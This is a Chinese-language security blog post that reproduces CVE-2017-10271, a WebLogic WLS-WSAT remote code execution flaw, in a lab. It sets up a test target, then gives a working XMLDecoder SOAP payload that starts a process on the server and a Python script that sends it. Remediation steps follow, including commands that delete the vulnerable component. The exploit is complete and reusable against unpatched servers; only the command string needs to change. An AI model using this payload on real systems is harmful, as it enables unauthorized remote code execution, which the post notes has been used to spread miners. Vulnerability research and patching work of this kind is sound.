*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
*本文作者:Halohalo,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
漏洞编号:CVE-2017-10271
漏洞描述:WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击,近期发现此漏洞的利用方式为传播挖矿程序。
受影响WebLogic版本:10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0。
1 漏洞复现环境搭建
靶机:Windows Server 2008 R2 x64
攻击机:Windows 8 x64
1.1 靶机相关环境配置:
1.1.1 安装JDK:
Java版本:
注:Java不要安装在带有空格的目录下。
1.1.12 安装WebLogic:
WebLogic 版本:10.3.6.0(现官方下载的12.2.1.1.0,12.2.1.2.0版本默认安装无WLS组件)
不勾选 “我希望通过My Oracle Support接收安全更新”。
配置管理员用户名和口令(weblogic\weblogic888)
选择生产模式
若安装选择的默认路径与默认域名,在如下路径中运行
C:\\Oracle\\Middleware\\user_projects\\domains\\base_domain\\WebLogic.cmd
输入配置管理员用户名和口令时设置的用户名和口令(weblogic\weblogic888):
此时访问:http://127.0.0.1:7001/wls-wsat/CoordinatorPortType
若出现如下图的默认页面则环境配置完成:
2 漏洞利用POC:
该POC为在目标主机调用计算器,xml中的string标签红色字符串为远程执行的命令内容。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>calc</string>
</void>
<void index="1">
<string></string>
</void>
<void index="2">
<string> </string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
3 漏洞利用过程:
首先查看靶机的IP地址
使用攻击机访问靶机的WLS组件,并用burp把包拦截下来:
http://192.168.1.32:7001/wls-wsat/CoordinatorPortType
使用post方法发送上述POC,并添加Content-Type:text/xml,把Cache-Control修改为no-cache 。
返回的状态码为500:
这时我们再回到靶机,可以看到靶机的计算器已经被调用。
4 漏洞利用脚本:
CVE-2017-10271.py(调用浏览器访问freebuf):
#! -*- coding:utf-8 -*-
import requests
url = "http://192.168.1.32:7001/wls-wsat/CoordinatorPortType"
xml = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>start http://www.freebuf.com/</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
r =requests.post(url,headers={'Content-Type':'text/xml','Cache-Control':'no-cache'},data=xml)
print r.status_code
print r.text
靶机效果:
5 漏洞修复建议
1. Oracle官方对于WebLogicWLS 组件漏洞(CVE-2017-10271)在10月份的更新补丁中已经进行了修复,建议及时下载更新包,并升级WebLogic。
2. 根据实际环境路径,删除WebLogic wls-wsat组件,并重启服务器。
rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
*本文作者:Halohalo,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
来源:freebuf.com 2018-01-03 15:00:58 by: Halohalo
请登录后发表评论
注册